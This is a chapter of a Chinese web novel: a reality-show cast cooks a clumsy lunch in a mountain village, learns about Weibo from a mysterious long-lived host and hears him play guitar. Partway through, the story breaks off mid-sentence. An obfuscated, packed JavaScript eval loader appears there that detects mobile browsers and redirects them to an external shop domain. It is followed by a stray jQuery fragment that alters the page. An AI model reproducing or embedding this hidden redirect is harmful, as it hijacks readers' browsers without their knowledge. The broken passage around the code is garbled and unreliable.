早饭是跟组厨师做的，小米粥配咸菜，中规中矩。陆清槐喝完粥把碗洗了，正准备去菜地给番茄绑蔓，小赵举着平板跑过来。
"陆老师，苏导说今天午饭嘉宾自己做。"
"嗯。"
"食材可以用菜地里的，也可以去村里买，经费五十。"
"嗯。"
"苏导还说……"小赵翻了翻平板，"您不用帮忙，让他们自己来。"
陆清槐看了他一眼。
"苏导说的。"小赵补了一句。
"知道了。"
小赵转身要走，又回头："对了，陈伯一早上山了，说让你别等他吃饭。"
"嗯。"
他蹲在番茄架旁边绑蔓，耳朵里听着灶屋方向的动静。
周建国第一个挽袖子进去的。老戏骨拍着胸脯说自己年轻时在农村姥姥家长大，烧火做饭门儿清，结果半小时了灶屋烟囱没冒烟，倒是门窗一齐往外冒白烟，跟走水了似的。
"周老师！这火怎么光冒烟不着啊！"方驰的声音从里面传出来，夹着一阵咳嗽。
"你别吼！柴是湿的！"
"柴是昨天劈的怎么会湿！"
"那就是你挡着风了！出去！"
陶陶端着一盆洗菜水从灶屋冲出来，被门槛绊了一下，水泼了半院子。大黄以为发洪水了，"嗖"地蹿到石磨顶上，低头看她。
"对不起对不起……"陶陶手忙脚乱地拿拖把，越拖水越远。
江苓靠在门框上，手机举得稳稳的，摄像头对着灶屋，嘴里配音："欢迎来到《山间的日子》直播间，家人们点点关注，现在向你们展示的是第一届厨房灾难现场——"
"江苓你别拍了过来帮忙！"沈眉的声音。
"我在帮忙啊，我记录证据呢。"
方驰从灶屋冲出来，一脸灰，手里举着个蒜臼子："房东哥！蒜怎么拍？"
陆清槐绑蔓的手没停："刀侧面压。"
"压了，飞了。"
"……你用多大劲？"
"就……拍蒜嘛。"方驰比画了一下，手起刀落的架势，陆清槐看完没说话。
他站起来，把草绳往腰上一缠，走过去接过方驰手里的菜刀。蒜放在案板上，刀面侧过来，掌根一压——"啪"，蒜头裂成四瓣，蒜衣自己脱落了。他又剁了几刀，蒜末均匀地粘在刀面上。
"这样。"他把刀还给方驰。
方驰接过来，学着压了一下，蒜又飞了，骨碌碌滚到地上。大黄闻了一眼，打了个喷嚏。
"我来。"陆清槐说。
灶屋里能见度不到三米。周建国蹲在灶门前，满脸通红地往灶膛里塞柴，烟大得像在炼丹。陆清槐走过去，蹲下来，把塞进去的柴往外抽了两根。
"柴太多了。"
"不多啊，火不旺——"
"架空烧。"他把剩下的柴重新搭了个井字，中间留出空，拿过一把干草塞到最底下点着，火苗"腾"地起来了，顺着柴缝往上蹿，烟顺着烟囱走了，灶屋里一下子清亮了。
周建国盯着灶膛里的火，愣了两秒："……我塞太满了？"
"闷灭了。"
"嗨！"周建国拍了一下大腿，"多少年没烧过这玩意儿了，姥姥家那灶比这个大。"他搓了搓手，"行，火着了，你出去吧，剩下的我来。"
陆清槐看了他一眼，没动。
"怎么了？"
"你那个锅还没刷。"
"……"
周建国手忙脚乱找锅刷的时候，陆清槐顺手从灶膛边的竹筐里拿了个红薯，埋进灶膛边缘的热灰里。火苗舔着锅底，灰里的红薯慢慢烘着，急不得。
他站起来看了看案板上的东西。沈眉已经把菜切好了——番茄切成瓣，鸡蛋打散在碗里，青菜择干净了码在一边。刀工比他预想的好，就是番茄切得大小不一，最大的那块跟最小的那块差了三倍。
"番茄炒鸡蛋？"他问。
"嗯，"沈眉系着围裙，头发用一根筷子挽起来，"再拍个黄瓜，烧个青菜蛋花汤。方驰说他会煎火腿肠。"
"我会！"方驰举着手，"火腿肠切花刀，放锅里一煎就开花，可好看了！"
"你那个花刀切得像案发现场。"江苓终于放下手机了，凑过来看了一眼案板，"这蒜谁拍的，挺匀啊。"
"房东哥。"
"房东哥你还会拍蒜？"
"蒜不会拍还能干嘛。"
四个菜端上石磨的时候，已经快一点了。
番茄炒蛋——鸡蛋炒老了，但味道还行。拍黄瓜——陆清槐拍的蒜，沈眉拌的，醋放多了一丢丢，开胃。清炒小白菜——中规中矩。方驰的"开花火腿肠"——卖相惨烈，有的炸成了章鱼，有的还是原样，方驰坚持说"味道都一样"。
汤是沈眉烧的青菜蛋花汤，翠绿的菜叶浮在蛋花上面，上面飘了几滴香油。
陆清槐回灶屋，从灶膛灰里把红薯扒出来。外皮烤得焦黑，冒着甜丝丝的白汽，在手里掂了两下，端出去搁在石磨中间。
"什么东西？"陶陶伸脖子看。
"红薯。"他掰开，橙黄色的瓤冒着热气，蜜一样的糖汁从焦皮里渗出来，"先别拿，烫。"
六个人围着石磨，筷子筷子碗碰碗。陶陶啃了一口红薯，烫得直哈气，舍不得吐，含含糊糊地说："好甜……"
"这是你房东哥埋的。"周建国说。
"清槐哥哥你怎么知道灶膛里能烤红薯？"
"……在灶膛里烤红薯还要知道什么。"
方驰嚼着火腿肠，忽然想起来："房东哥，你昨天那个蛋糕，中间塌了那块，还有没有？"
"没了。"
"今天再做一个呗。"
"不做。"
"为啥？"
"塌了。"
"塌了也好吃啊！"
陆清槐没接话，夹了一筷子小白菜。周建国在旁边接了："吃饭堵不上你的嘴，蛋糕明天再说。"方驰"哦"了一声，低头扒饭。
吃到一半，江苓把手机架在石磨上，对着满桌菜拍了张照，又举起来转了一圈拍院子。周建国往陶陶碗里夹了块煎得最焦的火腿肠，陶陶小声说"谢谢周叔"，小口小口地啃。
"你在拍什么？"陆清槐问。
"拍照啊，发微博。"
"微博是什么？"
全桌安静了一秒。
方驰最先反应过来，筷子差点掉了："不是吧房东哥，你真不知道微博？"
"不知道。"
"就是……"方驰卡壳了，看向江苓。
"就是一个手机上的广场，"江苓把手机转过来给他看，"你在上面说句话，所有人都能看见。"
"所有人？"
"嗯，关注你的人都能看见。我有两百万粉丝。"
陆清槐停下筷子，看着她："两百万人看你说话？"
"对啊。"
"说什么？"
"什么都能说啊。"江苓低头翻了翻自己的微博，举到他面前，"你看，比如这个，'今天在山里录节目，阳光好好'，配张照片。两万人点赞。"
陆清槐看了一眼屏幕。照片里是一碗粥和远处的山，加了一层黄黄的滤镜。
他看了三秒，把筷子换了只手。
"两百万人看你喝粥。"
"……也不是光看喝粥。"江苓往上划了划，"你看这个，搞笑的，一只猫被黄瓜吓飞了。这个是新闻，哪边下雨了哪边堵车了。还有这个，教你怎么三分钟做一道菜。"
方驰凑过来："我关注了一个博主，天天发挖掘机挖土，我能看半小时。"
"你这什么爱好。"江苓嫌弃。
"解压。"
"还有那种，"陶陶举着筷子小声插话，"小狗的视频，金毛带小孩那种，超治愈。"
"对，"江苓点点头，转向陆清槐，"你能看见全国各地的人在干嘛。有人在海边，有人在沙漠，有人在雪山上。就……不用出门，也能知道外面在发生什么。"
陆清槐没说话，低头夹了一筷子小白菜，嚼了两下。
"那你发的，"他咽了菜，"别人能回你吗？"
"能啊，评论区。"江苓又划了几下，"你看，这条下面有人说'好羡慕山里的生活'，有人问'这是哪儿啊'，还有人说'粥看起来好好喝'。"
"你回吗？"
"挑着回。"
"两百万人的话，回得过来吗？"
"……回不过来。"
陆清槐想了想，又问："那如果有人在上面说假话呢？"
江苓愣了一下："什么假话？"
"比如说这粥好喝，其实不好喝。"
方驰一口汤呛住了，咳得惊天动地。江苓笑得手机差点掉粥碗里："那……那也不能怎么样，人家就随口一说。"
"嗯。"
他又低头吃饭了。过了一会儿，江苓感觉旁边有人在看她，一扭头，陆清槐正盯着她的手机屏幕，表情很认真，像在研究一个不太好懂但确实存在的东西。
"你想看吗？"她把手机递过去一点。
他没接，但凑得近了些，看她划了几条。有旅行博主拍的极光，有大爷在公园里抽陀螺，有一只鹦鹉学会了唱生日歌。他看得很慢，每条都要停两三秒，眼神跟着画面走。
划到一只橘猫趴在键盘上把主人的文档打出一串乱码时，他嘴角动了一下。
"这只猫跟橘座一模一样。"
"橘座是谁？"
他抬手指了指墙头。一只大橘猫正蹲在墙头上，尾巴慢悠悠地甩着，低头俯视一桌人，像在巡视自己的领地。
"它叫橘座？"陶陶眼睛亮了。
"自己来的。"
江苓又划了几下，翻到一条热搜，标题是**#男子把除草剂当饮料喝了# **，她"噗"地笑了，举给方驰看。方驰看完笑到拍桌子："这人是个人才！"
"除草剂也能认错？"陆清槐皱眉。
"瓶子上写了啊，"江苓给他看，"他说不识字。"
"不识字还喝？"
"他说是绿色的，以为是凉茶。"
陆清槐沉默了一会儿，摇了摇头。那个表情不太像无语，更像一个活了八百年的人第一次真切地意识到，外面的世界比精灵王庭的议会还离谱。
"这个能学做菜？"他忽然指着屏幕上一条美食视频问。
"能啊，你想学什么菜搜什么，一步一步教你。"
"蛋糕也有？"
"电饭煲蛋糕？有啊，一大堆。"
他没再问了，低头把最后一口红薯吃完，拿手背蹭了蹭嘴。但江苓注意到他的目光又往她手机上飘了两次。
"房东哥，要不你也下一个？"方驰撺掇他，"注册个微博，我帮你弄。"
陆清槐没立刻答应，低头喝了口汤，想了想。
"下了就能看那个做菜的？"
"能啊，什么菜都有。"
"也能看猫？"
"猫更多，一搜一大把。"
他放下汤碗："那你给我弄一个。"
方驰一愣，没想到这么顺利："你不别扭了？两百万人看你喝粥？"
"我不发喝粥的。"
"那你发什么？"
陆清槐认真想了想："发菜。"
全桌愣了一下，然后江苓先笑出来了："行，发菜，你那菜确实比粥好看。"
沈眉笑着给他添了勺汤："回头让小江帮你弄，不着急，先学会看再说。"
"嗯。"他应了一声，又往江苓的手机屏幕上看了一眼，这回没躲。
下午沈眉搬了吉他坐在槐树下，朝陆清槐招了招手。
他走过去，在她旁边坐下。
"昨天教你的按弦，还记得吗？"
"记得。"
"我弹几个和弦，你看我左手的位置。"沈眉弹了C、G、Am三个和弦，"你试试。"
他把琴接过来，左手在弦上找位置，一个一个按过去。有一个弦没按实，出来一个闷音，他皱了皱眉，调整了一下指关节，再拨，响了。
"记性不错。"沈眉有点意外，"你昨天就摸了不到半小时。"
"弦比草绳硬。"
沈眉笑了："今天教你F，这个有点难，手指要横按——"
她演示了一遍。陆清槐接过来，左手食指横在一品上，另外三根手指按在二三弦上，拨了一下。
响了。
没有闷音，没有劈弦，六个音清清楚楚。
沈眉看着他的手："……你第一次按F？"
"嗯。"
"你食指不疼？"
他低头看了看自己的手指——指腹上压出了一道浅浅的红印。"有点。"
"一般人第一次按F横按，十个有九个按不响。"
"要用力？"
"要用巧劲，但主要是练，练出茧子就不疼了。"
他低头又按了一遍，这遍更干净。然后他的手指自己换了个把位，磕磕绊绊地弹起昨天那首歌——和弦走向是对的，弹到副歌的时候顺了，他甚至试着跟着哼了两句。
没有词，就是"嗯——嗯嗯"地哼旋律，声音很低，跟吉他声混在一起。
沈眉没说话，手撑着下巴听。
他弹完一遍，停下来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916293|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
："不对？"
"对。"沈眉说，"就是你哼的这个调，比原唱低了三度。"
"三度是多少？"
"……没事，回头教你。"
他低头拨了一下弦，又拨了一下，手指在弦上滑了几个音，像是在试什么。弹了几个小节，旋律忽然拐了个弯——不是昨天那首歌了，是另一个调子，很慢，音拉得很长。
方驰不知道什么时候蹲在旁边了，听到这几个音，整个人不动了。
沈眉的手从下巴上放下来。
陆清槐弹了大概十几个小节，手指在一个高音上停住了，没继续。他低头看了看弦，把琴递还给沈眉。
"怎么不弹了？"方驰急了。
"弦不准。"
"哪儿不准？我听着挺好啊。"
"第五弦低了一点。"
沈眉接过来拨了一下第五弦，又拨了一下泛音，歪头听了两秒，从琴包里掏出调音器夹在琴头上。弹了一下——调音器上的指针偏了一点点。
她抬头看他。
"你耳朵是尺做的吗？"
"什么？"
"五弦差了不到半个音，你听出来了？"
"嗯。"
沈眉调完弦，没把琴递回去。她抱着吉他坐了一会儿，手指在面板上轻轻敲着，像在想什么事。
"你刚才弹的那个，"她终于开口，"是昨天那首吗？"
"不是。"
"是什么？"
"另一个老调子。"
"有名字吗？"
他顿了一下："有。但说了你们也不知道。"
方驰还想听，张嘴要问，沈眉在他胳膊上掐了一把。他"嘶"了一声，把话咽回去了。
"再教我几个和弦。"陆清槐说。
"……你不多弹弹？"
"先学完。"
沈眉看着他认认真真盯着弦的侧脸，忽然觉得这个人有意思——弹得出让人听了就挪不动窝的调子，转头就急着学下一个和弦，像个刚拿到新玩具的小孩。
她不知道他活了八百年。她只知道这个"山里来的年轻人"学东西快得离谱，而且是真喜欢。
傍晚的时候林野翻墙进来了，手里拎着一袋橘子。
"哟，这么多人。"他站在墙头上跟大家打招呼，"周老师好，沈老师好，方驰老师好，江苓老师好，陶陶老师好。"
"你能不能走门？"陆清槐在菜地边上说。
"门那边有摄像，我走门算入镜了，苏导该找我要钱了。"林野从墙头跳下来，拍拍裤子上的灰，把橘子递给他，"镇上买的，甜。十块钱三斤，讲了半天价。"
"你怎么进来的？"江苓好奇。
"翻啊，"林野指了指院墙，"这墙才一人高。"
"这是别人家的墙。"
"我跟老陆谁跟谁。"
陆清槐剥开一个橘子，掰了一半递给旁边的陶陶。陶陶接过来，小声说了句"谢谢清槐哥哥"，一瓣一瓣地吃。林野自己也剥了一个，靠在墙上，边吃边东张西望。
"今天拍什么了？"
"做饭。"陆清槐说。
"好吃吗？"
"火腿肠还行。"
方驰在远处喊："我听见了！"
林野笑了一会儿，又往嘴里塞了两瓣橘子，像是随口提了一句："对了老陆，我昨天拍的那段抖音，你猜怎么着？"
"哪段？"
"就你弹吉他那段啊，我在墙头上拍的，手有点抖。发出去了，五万播放了。"
"多少？"
"五万。"林野掏出手机给他看，"我平时发种菜视频才两三千。评论区全在问'这什么曲子''这是哪个节目''弹吉他的手是谁'。"
陆清槐看了一眼屏幕——画面晃得厉害，只能看见一个侧影和几只在听曲的鸡。画质糊得像马赛克。
"你拍得不清楚。"
"我那是偷拍！能拍成这样不错了。"林野把手机收回去，"有几个音乐博主转了，说这曲子调式没见过。还有人猜是沈眉姐的新歌。"
沈眉在不远处听见了，摆摆手："不是我的歌，我可写不出来。"
"那是谁写的？"林野问。
陆清槐把一瓣橘子放进嘴里："一个朋友。"
"哪个朋友？"
"你不认识。"
林野看了他一眼，嘴里嚼着橘子，没再追问。他低头刷了两下评论，又抬头看了看陆清槐，嘴角动了动，最终什么也没说，把手机揣回兜里了。
"橘子甜吗？"他问。
"甜。"
"那就行。"
苏晚在监视器前坐了一下午。
素材太多了。做饭那段是金子——周建国生火冒烟、方驰拍蒜飞蒜、陆清槐走过去三两下把火生着，全程没说几句话，但每一句都在点上。还有烤红薯那段，他蹲在灶膛边扒红薯的时候，镜头推了个近景，火光映在他脸上，睫毛上沾了一点灰，抬眼的瞬间小陈在监视器后面倒吸了一口气。
吉他那段更不用说。她已经让小陈把原片单独存了一份，不放进常规素材盘。
手机响了。老周。
"说。"她接起来。
"视频我看了。"
"嗯。"
"他的镜头单独剪一支花絮，下周跟正片一起放。"
"太早了，"苏晚皱眉，"正片还没播，先放花絮会打乱节奏——"
"就是要在正片之前放。"老周打断她，"一支一分钟的短视频，不要露全脸，就拍手、拍背影、拍其他人听愣了的反应。文案我让宣发想。"
苏晚沉默了几秒："你想先吊胃口。"
"我想让他在正片播出之前就先有讨论度。"老周顿了顿，"合约已经发你邮箱了，特约嘉宾的标准条款，酬劳按行规给，你看一下有没有问题。"
苏晚没立刻接话。她看了一眼监视器里的陆清槐——他正举着江苓的手机，对着屏幕上一只钻进纸箱出不来的猫看得入神，嘴角微微翘着。
"他不一定签。"
"为什么？"
"他可能不知道合同是什么。"
"钱他总知道吧？"
"他卖菜只收现金。"
电话那头沉默了两秒："那你就让他知道。"
苏晚挂了电话，抬头看向院子。
陆清槐坐在槐树下，吉他搁在腿上没弹，正低头看江苓手机里那段猫钻纸箱的视频。沈眉在旁边摘菜，陶陶蹲在他对面托着下巴听，橘子皮在脚边堆了一小堆。大黄趴在吉他下面，尾巴有一下没一下地拍着地。
苏晚拿起对讲机："小陈，别切，接着拍。"